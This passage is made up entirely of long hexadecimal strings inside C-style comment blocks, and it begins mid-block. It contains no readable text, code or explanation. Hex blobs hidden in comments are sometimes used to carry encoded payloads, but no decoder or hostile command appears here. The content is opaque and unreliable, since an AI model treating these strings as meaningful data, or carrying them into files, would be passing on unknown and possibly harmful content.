0310937c253765d0c9d1d6708eaf3296e092fa80f7f586310ddfb838026f751001ff0e34997bdebe130b857a08dc2a8f426b1afdadc4ce5fb0b964e2cb8e17b6428a12701f3a326dd741940e0ccda994081a75fc11f83762c323a847294de29f02ee7db3093b64888d5cee69bb5fab836dcd1c15254736f1c97f896eff2c8da4695694fb5d5f1c2bf3f342d283d5385c31d5fe189109bcd63a2e537afe1122cb1651ce795d6b887aeb2263bf9de0ee1114556e2a36d485832afc7dc685e3307cb8ab56931f51fa864548a5a57facae0e45cb9b6c82844b465efcfca5cf5e9a29a287a37cf716da637b53f0b9788de123f83252231ffb12484065c6cc92a4f47f3297d9b4b14ae73662797d0024cc0908d2557f8a192667587475960287dcd09f6c6c087cea3a0076eefe9036ac7a728f531c7b6587a978b67a2494422a24458c905020bacb4eb96be3d8c0c77dc25e49f25c4faa250c33e9bf6a40725b8044a02f033061e9af1eb4a6d82aba35cf56d7ab12692bd1d75d2eac729788acce1189bc5dbf8503a3a57a8a3b53b28482dd8a07789ff27308f7a19d848f9113a6d06bb2e9a14af3058714f893fa1ff76e45ddba94b9ad72fc07b9336dcb7900044c698ef80e9e6e8e3ceff84f3ebf0f56735c57a113ac79eceb1636d7cf7f5c966ad6e59b3635e7cfbb7cbd4194319642a3bb33446d455068ce8e8939bbf16db4d739128b60f64c26553b2b3a47d0e1173268f6b54d654c4b3d3623f97c910afbf94e93108586744f92a9aa7bd0a7d653ee5700459fc913ef9206834f77e7465f784e07aa7c1376a0dfd89dbadffaff716d77a221fc563561b08a03973adbebca679ac4ba79b8377332cdd7f6d731c78555d0986dec58ceb8b780d0098a6ce4a9b4117f348613d7f31918361130874291fae2ad0d08e98a641ec195b38587fab1f36f7e27333a91c5eab4f8e805bbd8e67e0d91549bc8fdc9962db4e0c28ba8764c9371493be8dedcad3e292169aa5f48a3ae343dc0f604f55ec754dea09f3eee7cd150ccb7fc3a368d12a977a21bc493af8645eb70d89a127538bef4fd74bfa5bef2f3681c4c9b8b94f8318d2e2e3ba4107f2531fc9eaf9cfd28e263ab5ba66a6d0ad718ca8191d1d1c7313260c9e9b7fd7ea1463e4f4502a0ae01d2ffcfd318cef099a3bd329e53cf259353bdb8348fc3be418b11d933454885e2d5287effef48954d4c455c366541783a77ba76a3c558c3c9a4f36c61c907ec2342f0f16997d38ae6a8ef21ffe228ad1c505d4642028a033d893352326b7f34e7167cee02b70cca303ddcdd8a7ec93a54d076b64ea605c4a015fb28804dd1d438b83e22371080df7adfa8a5f1e14efa6153b894a75134f49984fd4b9bc74cc9a725bfa530bd460a13d355c8b5fba90131192c6014bafbeda344db943357b79a4a63ed65dcfd0a8d060f6903a8fd483359fd628a34e9b8953df9dbb1e692fc7a9cd35c6fc703d749a6323c6ecc94faf62235db1b4f863970c102c4ffeabe8a1a7482296e0aa0a15f71cfe1e607776cac50933bc5081ba6b4361dbf45cc805a266828046a526329c592a66975d6c0a6af40f05a031f553e7*/
/*d3e8b88162397cc33c9d162a6b2ad3404a8cc74ee061732c8aa1f759bf92f503472127cd8f633ae72a9720d56719cd869a6b8fe7fce83cdc7cbd0e99847f248b886406561a5a1368153587227682b3661d152201f8b760c2c4c207256f6f74314a20016c0ca096fc08970986821f61a9ba9990840a61f56e0608f99efe2602d8a5be3f49530a06e9f30c7571c30241b7f172816f9aaaa87fc7d25e85aac30b88a766473025d0b4e693bfb3d23f96b4fea2c7a51c213db40e4da37533389ba7fddd90f48850af48cc386bf6f89c88ccc8e61a2dc4423dbfcd01391f85550026bcb1e16cec254ba397d837cbcbb268f1435dd38abc4a95fbbc221ee1a6e03df9c6fdcfe97f293e388fe8a43937ee3cf8e674d9410a041388de64244533799c645f4b2eda2fc07a255bcc3a71b79b1ed552ace386d4a8b3c3865edcd07ef03fc5d9864cbd4d981b46b5366ae32a4be0c80e0249d995a6ce9b103eb1025f6b01cf32853fce5ae7cce980677e42292725bb01ed01842c18d341edf3463ed2ecca5bb60178be97bcecab5d8f67251dc045d1711313949973b469351083a01a0d1bf169f4a3e6b7d4123d8d2e1c4d9bed03916ebbb8ddce516cb22a94377b8aaf65a00133987765bfa53236ee54936b672daccda90e8847a36f6cbcfb1003d100a2c234fa865dff17bf963d9befcf81f6c4be3d690ea3bffbeff93822de11ed55d5d074a29664b8bca3bce6d42e9889e2a74eda0e6b14967f2bcf891747672a8acaaa16ac48b4686a52165689c401aa95d1b190d44fabf3ba38cd0621e45f092e53fcf8fd6bc75c183a129652d767db15de7cbc7c6db3e4baa41c0245ac128e1c002d636c36d230b9495c4161bf470af13d2980091f05d5847e1b29bb8da290fd022b8b7aa764df26f5941d11d676a3a821964944ce8653f72bcbc1942e65a96838573568eece647e3b9041cec0975ae383125d0550e05d455100c6fb53e9c5c526a689e36c9e9de8fb3e73657589fe993ea7371c3706c15d64a36fe06cf8137da028b29d80d299213592903cd663f0461a1867b6e9737c1c7e73b15e9ab6eb15c55e372a3085a4b388cff10ab18550ae3b326c704cef4d737958c103b658d2fd5b0394f541d38e2543eff46c2b0522ee1089e8c9b4b77539361259a86324e8809570377c3a241cd61cc3e402e32886e450278921efc20b93fb7213bc4c09e6f74cd8824933c3ae192a5d35ad956c0e81bf3bcf1bea3ca874c62b63bc416d5fe7dcb9478b7c761f9c215b12e51bc5c30fbc764acb40e3c6c53f63b0195d8cd7af97377da310307dfba34d423fdc0453a67a22081fe89bf288b1524673f4d874ae443042a50a3cbb2d0c6cf9aa923e759188bc5b6cef72a78a7ab1ca970fc6811ec6df250f5bc6c44443af5655a152210ecda30acb0aecab1550df03da32ed6c58b067bf8f98f6d2e497e1c87f55b98eae7d6322d4096a5a10b42791c2657f5fd187e57407a39a097dcccf63afb6e315b9fda287dc3223c6a61b9ef7094ce777ed1eaa80dbeea8b8b6be50271018180cee9f0f4984a33ff548144760cc78346452d7d4381f7b10d18b86117635028299e30bf1dc0f87f153b46d12ce18cfead393c24fe34294885d8d7b58dc9747dff85936cc899c996142889e61eda44fcfc6e5af1c941db68fe435f755171953274f5fa963b09304b85b7569f095a862f5448fcfc4f931f73b1f268bb06b64b899bc5d95c5a846a434d2f20a11e2a269816bf38762842e80d77e1b13d3730f342de69111a2a49f42d0d4cbb42e3d3a587c4af9fa6ee011688bb5456405c183fb5f765ea4ac6588415cdc9ca0e529b81cd13fe415305761fefb543a8596d77ca1fce379c8666912cc892d1ec78d94655df0eeaca570941235646b82852c3ddc50c89912ed96985411be3374c49d86260a86e75d6a0e4e320f41c267ff1a8ff03cd898217dd60a9965ea34ec0e23e4ac57db23ca2849150ac01efddd98baf1305cd678acc9d8a5f6dcfd8e0747b46555cd16861846abf1d26c21a19ec34dd3da8e0bb7b2ec64cc834056041e11894055dde9750afb9b22e1533a2b3ececb5632fe0df4948048fd2bff15d12511a4578baf2861f5c59c3057e14235de9e3ac10bed350490742bb333137473f18a2cbbe40bd9f865ee89892aef28aff95c3d0092f0e7f897f98de9ec452647a2f8c92bf737569cd2a15110ff7500fe0a0582387c4ea84f93ed83b37e4f5d30a075cd14c7979f5b52b6d24f6233802348689ec6c39fb0ddd32369294a006a142156e4c6bb4d07d68ac762a51fe451dbe06a5a6be8fb6d10560d0e95898375ecb43e12be11908b6950d9e3295bb74d366e6edd72575101f19be6171f44565bbbcce38ec00e28d1f9b60da2f29d9b00ddcdb6f0f44191f1f1fdb834bea2d3a592fea5500851beaccd7887dfcabdae481af7f7b3c25351d3fc7d39c13f28e6c2ba7847a2d562fbdb61dd6f32b0f44c21ea609f886610ee762140a2cd44419268fed2bbf61dc51dd6ed3de71a550616d19f639bce7a9ecee414d7c8f38d5e4aa9a3ca456b7be14c4efd7a38f1dcdb5607d9aef7f5ea4d012901b5e83ec4e30426c6a097d65e3cf3fbca60e7bb973cced7224304ac88a32ed374dce89c5f3affb3a19bb611a135a899c3e604369f24fa100d87a6a8ada534d07eed6f6eaa575fed5bb07d4a7f3de6aa4c2e7b51de9ce80eb8dea36d0757bb5628fe571a0281e336ebfeb79f06cb4a8679a4ac532aa0b1c7b86aac36d417b7f2a2e505994a80f533a9a0e26b14e539c7d2a5a30bdf8aa25af2ce951549d90c2733d6572966*/
/*d52d6c07d57a513c12aa5450c78e783ccb39cfe4f915dcc48cf3317972e91a5d3a05b3fff0f2d05ad1c03a194c700a8a7008eb8b3af3fd4d1d9ffdd753df9f0df0db4689dc7c606948dab17cca224acfa414b5b3a3170c0f4d91bc98c328177bf52a706712f93eafecf82f0c5e8a4b31cf7e4802148e93606f382d6c0dd21cb084b6722cb2edf621b96c784d088399999e26e081f03cac47f9d483889a7b3f4b92ade663dd2afdfa7b502b6a407d33761b75181a6c7445ed3ee50d98b17e13b843b41ea2dd8ad088020a9b12c644cb82e871744ab7faad9b3de1f4fe9a93472b5931e73d4502604916205fc4a24b9a1066e66c28298d2162f798f7c6c3844c74e0d245daca82ea3d1097a746ec7bd0133d52bab2c216e60942172b766ebed53c7c3bea37e8f8b18bd7b3afead81dbe99a3268008c8c65ec4c2d6b558ccaf25f49fccdf5e3c98f6658040f2315ccddbb68220fb2a4d1d41bc7b407223b6653477e79f057fe8f3afdd97f409d0b8de2982e3103bdc5d7b4156b6b835539d181dae6c410f24507eb02b749373962f206cf916b67c7bc1008d8d3944c5f4b5cc18b331f7a36cad16c8bded68e157f00b65a663eb9e559340ad786abc6392866cc8f934cc1c662b42c1f1686c5c014031069102f5adbb36eab5bb326a967c6c6748e6d98508c7d3045e2db7b7f4a6620885044a8a191cac4402870e8017d8e579c38ccd224b9c8faa59bfb60fe5dbfb5ab6e7ef6ff42552aa35b8a30912f3e3ab25dd42419c61bf87c0f35fc7ec034cb12d6065c3ab75d26a7d6f1b1a9eac83e0904d092888c5373fb9a354c1940c17b90595084d70bbc08a3d22e753bf02cee62cb22cc2f3679b6b9524f7998f910b0f51afd188744f4dd51866693ad780885908ef8ebe5e0c989c42871c6b72a89fc3c55311614fc76de4484f496df5bb785f4008a337d9d832aa5df9efe6ad2fbe28a28fcc4f098d759890f2ec22297a582676048043c4d5dd729034ac7513b13d74bb9382245fe0fb8266fd8c92ad8f060ac231665be7391c302e80bd93ba99326aa9ae1b337b33f9e5763320ff900ea85fc540d3638229f04119203e52489bc3ab5761af383eb2435c1e4f4f29637d7a716dd37865ab607ce7c83a2857ab809ad1082be22c19615464ab99d3c3760edb3c6ac95d610a7e9e93923a5ea73c7aa370afb795015a0e58890d6ef5449b63d1bdbacca6cb6eadedcb87c1c4a880482d87453ec542a97fb6da04170d9a13f21b93a4dc412e40ba3bed02df3b275c119ccf05e0dff76d46cf087b35053a5190eb77f1ea696c68cd98ddda5efd27d230402215dfbf4fe5e8449a3738c53e8a88269065674136884675b2dfb9d856615780b77ccdc9d1070a4be8fed8c2c40cc2641b20d2c72f12d8d3e7c554a9b2120ffd7f6cfdc44f4f134f6921ca9783fe25fe1c6d66db78b7004fc52e03c33787d80b995a786fe1e3afb4aee2e773e34f8b8b55346748d50f9b4dda411d903a15593a72ef01beac3590b1e0bea3fe264fb248b95eb532ce06033ce70b6c6795197c35a71b59786c9e37e7b6ca789474ec7c4b21fbf4888930444ffe9641c0ac9078bcac43ef11e9d85b52edfa9abda1f290d6cf8aa3743f21ea42eaf42609f8098a94fb0a0bb9656b38deea8763e72f8a10b6087f2e450e1d6e2fee2c7e1b3dc02b2f1f46ab4daf8b3afd07818cfa5c5d9d8301c41eb1402f6ec12e738ce2710a488a476e2003a5b8a80c8751b6ab5b22dbb5be657f72ef7b04bcc27ee24ca287581b2229d9632467c70e9babb56f670d08d93350a2ed79cb3fdc7cd43b93156f29823b893a88d3e175f8e86843a96360f74d8e343dd8803fb81dbdbc018eddceaf4e8cbc1801e8251912fefcb4f0cb988f8537a378784ed05444bdb0311ab3e97521c3793c9b113b8ce9acae439a628a5f7c74152ee94013b8f8404a8195ca7c59ab659d457059ec1dbcbc9e5e82e80978bdd6f4bdff18e27f3cbba8c7650936828b510b51fda010911423e992dc5c36c3c3f4e4dc84f21b3bed77098839df87ca2b3c78ef9004cab03bc6045a766610e651f1ff6e3e4ddebc91863b4946263d3ef2cbb5cf4644baa3354914a353b5c094ad73a9b27576520128ab3f42fe8359ebd482178b06afb90b5167e52e2c2282ef4faef9e097e6603586e589996772d59f967fe8132a7830c079dab20b3953c8789641c1f3bae4fe67c8046ba266642b61c81ef3ecb11b75da16e9cdd1f6cca35415005848de78334ea05d6f9e5c0d56fdbeaa452d9ccf0f858c8b9e8636e8b1e3ed0f34eb3f4ce7e87cf0d1a5e13d8910223cbf6e5726707e94f05df33d635e893ad3410cbf94443495b981b77df3bc6a2ebf01c6a606babaf537d7c3c2cbf0bacf40a58a07719ed3b80d4a5b967b06fd9bce8af7ece5e67b4e6935be30be52e339d7f16fea4f6902aace13b428606761dbadbab9abecce86a94685b497921bd04eb623bd3a224900f71b3c4dafd84fb5208be82fd4a3b42a4157f6953929bcd764d5b8941f663351e0318d4e7d5b041cb7184f9d5841ef6a223c22b51d0c5255a53cb0c4ed28d2422b39999d788939bc73a65ec4fb581198eeb0d4efcafa8a5d2a7d2fabb957ee7100a5bfee861bb09ec0e866659d5ff4519805c364c53873d8457c3254081b521d43a7d9cab5304097ff342859310d82f26cee906c0f77a52c9a9041ce61ee9152edfb001a817529dbe53da278136c99ee1af1b408914bb0e9f93854ed2156eeda4aa12ad579b6c5209d68a5b1e3004cf2f289192f7e14c73d1856f7b9e1095f28bc8ab3ac8d0f1b81d29676b3*/
/*48a63ebc08f29c4d39663e7a60b3ca034bf666afa0187e91c7a6a3e980b2bcb316391f36bfa879cefe8f43eaabc6bfab66c356034243f1ce6be34b33e016ce3b5631fbb5f62edb043a79fd7fe95638cf34023d63d94945bb41b74aa90495756736691875d5085f35646021f40bcc41ac97608a6f69feb0dc83771558f19be7c2a3ebc6fb1eb037c4208ad8a02d5b58814e9190101e5640c7b1c202c021236873154cf4305a2e799cf5486ca7b8f5c444bd7ee7fe6150250a88d7143ef70bddc0f91b9325c66073945442fb2ca1b92c4771a50a0b6a98eef5acf7b8947ec86ed417a8938996a5a832273f08df195b65ec2d61eb8d67f5910007dc25d1a0a544ec6a93c94a88f93d93c6addf144d4c386e3d2b0ab36609cc277667245f30afd8e31edec7f6ccd76ade8904a3ecc0423f574c2043f792787c8596e56e70805ea490e1e689e7c29b81f185de138875e8b342c57dc30d4e69bf1863a62184988269de17834b186b6df7999cdcdf93152bdffee9132408a7883adaeb8e909b54bc18c343ae417e968fa3fab8be1a33e39f63658acc4584be7033acfddd49f9df010b1b207686c6a3f83496c9c7b22eaac90b1654946807079570d1571c7473124190d745f1f73c6cf11402aa7de5378c601da79165f2961ec267f535c42a64801c7b356ad501e8563097b34117ebbba7457b4bc61cb56c389c3dd55e4dc7551fb739f3c42b789de56445b3fecbe543f79369ac8274bd2684f85a3f13a6d4b4e54180e001f04ba2c99dd9f0d8e24ea1bbbeef39fbcdd874e1a18d009f003d70168c9c94440eddb1a0b23aa61c9b0fcb0a2d1d99563049689030f61e7ff5d171c44e265313274e8c54ea8890d3a969c4e3fd270726296e71c7c8d885f794e4e57ca4f992e5dbc1be163aaa416f9a92c9ae81fff432cb6e90b4a52288866d416d936524c83c9c5c14e2eb87281f8b40b16cfcc0e87ca037f7397444e07469d2bb9f872d601b3eabcfbd3fa1f67f41f4d2b7713f1dbf5b374e922bd7108aa207af59871e0f71768e62994c47cdc41d9660d9cbb011fa5bac98b8042eea579c0bf353aa33135a515009d5b437816f9ff5185ac5dc67b2d88c0b056a9be89852a41dbe9972bef3496c07f100018fcab80aee868cdef98909841f5b78ecf5100f6f598581c6e6957f6ee2dca35d5f41845371a4ee5cf52139fb8dc62022ce4bcaa7797cebb441fe77173bf653d0ca0c7ff34072b2ef4b20b4cc6ba60caa0fe6b3c5ec581f221cc8a008c098258d90dfb53f3f467c2feff9557df3fa90cbb6f7fbf1fde571af134ee5b65d9677cc63e0cd52a6dfc618a9352e5043487da7329df0c773bb2461eac802b7a2126a836585f817afcecdb2138eb39f6472d2866c102d1ec2db398330889af2feba1208a50ba8006af63c312ea4c3678fd30095d653765f3c873eb31e651c6d4174a3401be98b8f36e13fb557a32a96da51198effc97cfe555557391184359372844d59ad829e1c7cd0c72eac5ec238fd77969f0eb6b9f47bbbd6adea9fb3c62422a96d5e3b108e473e5debf1f610de2b7c78c209953b0937dc6a26446cab8dfa2dda4832e1b226af2025d5c2d10acaaaa26657a0403d474a1097813398e09fa7f1de60e13c253547883772c6ae7675a3ea4c0fffe297c85ed021f9cbabf79b8539ab897fbe24a708e7eb7867ff90a4ed20b1033bbe98c8bb8cd414850c2426ca7deb41f448cfaa1c0a8fd17da1383ac3659208d33dfcaf18291e52a12961cbf45716425d805bcb8cf604700ad4e1ecb5a4d92a373ed507e9a80b9465114eac4dbd15486f2a474f89b7e94a0f749b18f752b2b52404b58d58974e23d9258fa6905b8e844a0646ab4304ebbee91e6268e9912337072b6f24391e355a8780333810107a1222292fb59582f848e810aebcb1c854f0762dd2b7881a15dc2905cbdb6b19cc30ae26bc36896a5e54aa97d1985922c5c124a459fef65b827d4c825d445c7505e9474fb570d401cf17df2d24fdd8aca5aa4633b8f052b5c80d116d854cb3602802a08e2adda103078f2ff5ab65bd61c15afec14336400aa6e3fd305b1970d7a960364a912a06961cc5a1b8cf3f3a0d4f33298ae4d907af7add721621a12f4953f8e2f10c3c6cbe1f051686ea7dd76f068a518320ee65042e940eb0102d324ac6afc29ce39636ced952eb03052aec89de7d1309ff50e7863aa5b3c538aa4ad2226cb08c3da27682bcff0d74cfeba766e04e435a565b411b2d3fa292a265e4eac429e347594deef5b9185d06b6c85902c897072df1d589dcc393cdae128654361f004163f538acf61094d551ed37d8875662c3832cd3c982f6a773205ad8b14ca61c0a1e63d062e1576bdb7f6f531d132f3869b4f57991fdaf9aa6ac7ec8b0e0ca0940c5221e7da91e980f15691dddf0e6a62fb7ce5e03ec520869fd17d7836d0036d30506baff2e06791c6d6c275ad71facfd3c0d7f81a3424e56559677f6126aa4ac33c8aa1044e9d0488dd4e9c942d02ff4e034280382206a5efcb0c30035c6ea21c3467fe91bc7179c9408470813f203f1c3c7d14bc73f6bee003b1e5f91da1e90d7a620e715be52e40cc4a5b869c987cedd4732c7c97f7074903f2e7b26efb60c040880eeb7d534281bb82b1aaf54861036e11d58e525da2e7a51cf18ad07e75bed0842bf192fde6924542fccead5c320ff4c3e6ef7aa1e7f232eea587b5493c0bc13f4ce2e211aaa1f075fd26e2f18ea51741bc04f2283769b481612eacd6345fe1ba545392311c33b53b21cd6c83819f8fbc6ebdbef56b78cd2ce89cea16d0236a9f8f298bf22bc*/
/*79ee3963c37d089d9dd53e8a1a5972cf5319f907b2401242b2ec65ebc14cbe4b644eb322d333356b03e69bc5f2251411c8255d7b0dd63bdc2733c6b61e7c6457ba39f1d4ac2544d6b2cd303f9337fcd4f576d7a213c5f029b2f9d22d32e2400403f18f55a88cb3785be59ceb1af5a8bd538c90ad18a229798a81ed67b02b5e658eb30b7fb04956656de073d4b1df7a98f63ec1bdcd583f35e60f821ddc26a7170cff03e0ba69b09cf0d36b93ea4d744888d5d37c88504946cc91b3cc9c55344b52e76ced9940a271570b5cf2f0953a12cdf21000379d965d8cb5b7338b6da21483e47201495b63b3e510581131d56f7fa8f8950d921e0b5f8cd1bcdcabd9fdce14bb02942ba63af8e187f3c7afe27bd2f65347061fce4029fe6e994ef84497bc93fc8b7b7691fc4e027416d79330cd779a9f7bbca1bf16ad5ff66cdb4118d0c29c56bafa2cb7c2ae68023080772c0b8e564bb28e472de981c2aea6682fcb1193452a6c8113c9d41ac7b8010c512054dff16abcae20d1ffea9d1bab75534a8e5c0987baedfa6a7b8f7f968d52c129d3968e61fc17576d64bf566619a593bfaba16d0c5091b4e3165879a2dbcc85e791cc3ce78f12f1d8972076de66c468ad424dfc06cd1a95ae2b7be2afc8532c06345a6f8c968855a1dea2a8b305ecd032e5449b4f00459a99814f92300a3603699d4b2a621833f6417ec5be0b17314824cdd692ff8d72e864d8035a765624b7482678b889b154196431cca095a9bffe23b7282cd2b394559ff31d15161edcc9119b1ec3a54899e2827259f552e801c9915972dcbce8c699ac72c2271f980b26a389b6b54af2dfda6e95e0c13b63c004846c15c8d47a223cd008e8ec167e6676c88dd593764cb0003914e4a77e6f9d70bf074e67b1d77beb2dcb7fbdcb605ff1c45e041b6c5960882472c531be005a02d55be2a32cf40eaf4b4d55fdfe49eb1f9e55a58a09ddf6b86a5251fc21f3cf30186d8d0b41181d2d9a1cc1dccea1f74438f27930651a2a60b7ae0dcf694866c79c819988bb11b431cb48e791f76ec2f09db820981372388ef8d6e732212422620c542a0381e9c9e6c96ab191e418113050f247c5e1f597701bdc2ea5245037718cd4e36eeee1aced32843c4201c28ada991e1464d198d9aa148a273042075ae94bcf4e3769f54bc1b2efaf03daa437de3519d3d0ff20faf6fdba87cbe6d795ab7002fbca54f21e581ec55a5b190f67da80baf97456e596668048fe3540667f491c948937f1ecd060b9c56dcc79abddd6328e389e82904d81e7026dcda2ee21b7974d06915677b45737a7107ab5c0ab135c099c15434f2cfc27a60dfebd75453ec215496436907a82d4d2aa10ae304279aba99cdf9c110f84ae7f4b7a907fc96edd9504eb118895100e630aacbf7b5090285e807b180ed2874f3986381601e486138fbf4da7b5913bd441a8cd49ad7ee46dd42cfac713e7c6aae69312449f697396c43e0cf70fc629f3b910ea5bfc1535b4a56d2031891adbd8d08811143c9848c76b1758f685f7ac5cf93e94965ff873307741b702773ceb228cc5bd2ddd05dc5566714c602780d8c7e8236cf07354ac7e8ff805c5685cd0d373a5b0d8e1d31c92fb2d616185f556d48835037ff651f9ce4728cc83343f32f0e85be5e9d9d269c283c5f4cdcce09f425fcf9f19ca4af13ca9d169419d0d06fb4791c4163d469999009c40e7da276e2637839f16d8407cad1bd12690727f8a58565cd481e42e660cb02038981660400e3fec53e2bf3e99dd86bc84e9f7a42aef964d9496731379db90425d1b23ffe5b8600bf5109c1f443e7b0d83d754e9d08af7d532a6cbaa63f8bc1bb9ec94b6d9c1e94ac8d9aaf65e8c182a075382bbb297d240be1d9acb1ea222c10023d433c64745c81a62d00cb20af3548467ad139ae84ef3b03f2c9b37a5c3f33347f55e7cf84e36d9dff8df3dee88e3037f010309cf0bc130ba19dc0607803a33ec9993374a7d431c8b1f2532b15709f3bbd79b081e029c0205a6c3f78f05fb86ac961018146cdc662f0ae84228119cf944dcbb6e2a268105b497debca9a1af6482a62d0c4502333b9fca6eaa548d2f81720729330a1e674b7c581a797bc03eb7274563e4b1f1097bbeae2d47815dfa37c5f78e2ace941de2460cf6ca6b4a3c8da23e962e79fc1f15236b385f1a14f0307af52ca2f6312d2ce04855d4b4e81b92d431e646530e31d79ba17da4d6373358a9116b02924c2b4ff1c1cb6b7696576a05cad2e07cf0bc423853197c82ba0a4490dc246d4a2ba2edbe86f3dd2aeabec7d5f408cdae03e4cb50441c0776ea1bc092bd3ad2c81ec0a6c37798db6644d804c3f75ca3b30b01b244cf4d37b4b6c89826bec86001466bffc148cb78f6e0160b3ce45d9cee748c8d0efaba4b0a72edd77ad7809f267c481daa05da9eaca3c7caff503717f577f909c072ea1863076722cc69187f07a88b7914d5e8ccb0a379f043c3ed279f880917ff06ab53e7f6dd4b36b8ce898f934b3e09c5d0d6fbc4454ee1e95846aa4848d1212a5cab8fa2e84cd2de1725185a2fdfa7c8effbaeecbebb0c26a51510ee8f1ece568431eb7f3a59c8ad4fff91507b507dbcbf88d1d4acf3f9c5b42d11cc83302b2ed1cd20d1a6743b7a54554d520913b9a638959827831118fe845b025e55a913e0dc6625d5fbf63e6413af60256299a6af05ef1055d5936813435c6f89c3d1aadd8bb82f09284430dc689471cbba2b3acecd2bb44985dc4ebf4ce0ea9f572e2016efac648cb4c6f54fec9bd500d8bdf6b2ea1c939c46d348dd33c1c28cfbe7c7bb13c18bbf1d*/
/*8e3e509884db740ccab3c806e8758a3172cc941f62dcf47779c37c88eda33ccfb0a04d066ea5c4d170a21453827bc05da423c99066207293d193c1d843b6281bfaf6274c8e76bfd33a1e02590f0e47a97a205a3633b1b77fffcdb2ba8fc15ddc550de1d3507042b697379bddfabcfbec7f5de349675bfb4a5cbb6c169a063c71072f5d18b392946402f8f0c4bb9cb23b7ec1ff164f2c8b0ddf45ba5c1d3767108791e8ee5f3a095111edb9fea7ad511b25deab6dbc66aaafe21ff9eabbe2c2d0f9495ba714afbb9e20957e11087dbfdc7f615d476d1a86965b2dbb337964a835f07effc8aea124390758405335b4d0915d34de7acc769b8cc5676ea3728231fc2b201c756abc8982d52152aa2ae84d35e4ab30996311716642fa1469b0f860f9b0e9c6440f9b29ae1a5e334be267468f35ee8de0b676e51ac0a369cbc580d716205ad6eb322d1456341c8749f6dcad375a1083092cfa1bee9d0845529de5d65c6a444f97f54013ddbb0ed9ddbff5993fd2356eeb0a6cc3e06aeabd06b024e62365e4fe3c0c137f34cbd07686483597a59633b1086be9a0473390c107ba53a07a6f95d4194727164520732ff32e052f4d36392edb7368cdfa982004448edc9ec8bd6df8d1fe614e91cd832d97c033b5f68bb0948907a3ddabd98f639053be91829a6f57b06f5bf16ecd38976a363123ecc1b2f80ec03d33c3fb8481a126d229912420d6d53aa710e8d6376d2f2c2b34530843c2417f538cc6abe502e85c51cebf9ec9874464150c2b5c121656b8ff3a7efeecb88ef576e41f4a651d15dabaed54890c917235f0ad358dcaba7b5a505dd1ddf4ade23683fcdc7216789153c06956c99ccda62429bb7f5ef840628fbe4d76858ece7f829fa0d02bd49e673861715940821d61b6e4130a5a6080d7a1b1f628cb137c3c52f199c769657df1adc4466a163d0f20b43a798caf0c7f172fc25150ba32d1aa78780880254d7798c2a62b2d66440554ccc56318c5f5d7786168533fdb9a1ef9b5a70161c565cbfee4d977344da0c79b9ef58bb6a47428de9482c1313ac6114b73a30296433f13f5a404c3c4900be41b406c192ccacf52638340552c7e36b7565d9a2cad935ee156d42928336655ddb88f47dfd9ea07e1def2966776addc5812f3f56f2ac80b1129d261c1f76294c37f592dd1b90e49904d85f4b8445db82861e208c7f07eb2f1951233b2dce67bc84f298899152fba18116c3e2bf402abdeba5ad6c8c41598651d39458daeab375db8be6f48bc74729c585637aff8aa76a04342625ce47d37630451293899472de2fb519b6f2476064818a5f5af15e1603cb1edaf0dbca13ef12989b95418b2cee23db5d3f92bc40e1f32bb1a4daf3cd2eb60e2094b185e5de0272323550852aa94782d911dec835b0cbc810fb3746c0771c836971846d8fbc3ff6dfffc65a2118a47f7612b8201f4c055c45552321bc4e350247f99e28bbfadb2109f6f3f2f9dd6ed1225c7194293b3f59b1c01220b876287d32531d3e4a01eaf725af9de090b901d96a1af26cda90981d609cfc8a616893e6a575bc0a074d8db0c0a0528395e447da773248e9c36b4d2dfc9a5fded1d0eaa73c368cb7922e97a255d4edb9273a586fd78b9ae7284300e362060fa981afbd60112c58dd502b43ca28cc31a7be778f28cd90b50484ed92062dc60b1a4099fa5a06ee7ae476fd007fa2671e326f10feb89397c7999647befd0e883a67a6e359785229367edc31a71fd8075f5b0826cc929d197f18c47947801e49ff056631b228f53742aa49fd3b2d1a5046e7ca8ea76c920e637ed79f0da91517cb8514e1ed4333324e71e583c87546a635f8c7a3f1a9e974d7fd3d0cdfc6399f4c755808ea03945e4dac608983ae734542fa2247119722179db34c549e16237815259e9e1e98e95ab2e9c875ec81e484a86d23ef174eeb41a46840cc0f837c621d1de88e86f8a5fa830c80a2655a83c257f6cb5b81f07b37f81da29dbc1accda0c9e91e399384e4f8cae07de5f34e5ce2793042835b4c1cc6e7adfbe5ef42eaa59a652a6cf21079ed02d3ad5448ff30ffde19e93e6d53f54a7873969f0622362b7f5c1aecf311e43259df9734e8b72758d558ecb559720a058ef9b06c3fb38e35a51d91ea03a8c1b70c7db21aff3e417309bb8eaae7e44fe00295df6b2bdfe3276a2661804b13e2ad8073f66c3eac3f130d926fb555ce4b1f95e927786df7fe847318cd2f408948cf80883f31a9644e2a9c554df6a54335d7e0cf7810743af2600526085d5bbfe7913eb24565b383f70313e25017a9b109ae21abc61e68b0f6e3acf99efd3190717b69e69bcd15e76936c29385f7aabd49bd41f10fd278f5a3a18d4d05942ad77c3329e2704a9d4529390edc63a31398bbdd84490099e61874ebc89b273e4299b21297b87249d41845178d85a142995c6546d04c031e9b1337220d3b0838e4587273cdf0b7a33b49253032e81a4a554bd30c19c2ed086889e3782fc872cd858be39f9f4250ed9d04c7daeaeabaeb1055f8e43f2d8a22be88d58a83b3691fc7ecc33e214d7c0e28190cd15360d412eea9a2c1b323db074ae35aa395e35359d87af5cd07630132242d4f438f49753ce390c1561903e104f946e41af413c9b1c75db7c223fbe0cb0853420a3ad2a8bfb509db1f6021a521fc1d867bf2e3d1efd1ee82d4de2959ceac27a60795da36c2eaea4da977c776c23d5a7d92f4bf80b6d3ee0ae3f7e7b897d985d4fd765a946c491a480a8181d19204e2c26473dfcd7c74fcf295b5805ca476822d443d765c96dedfd4130f0d651e45b7593064*/
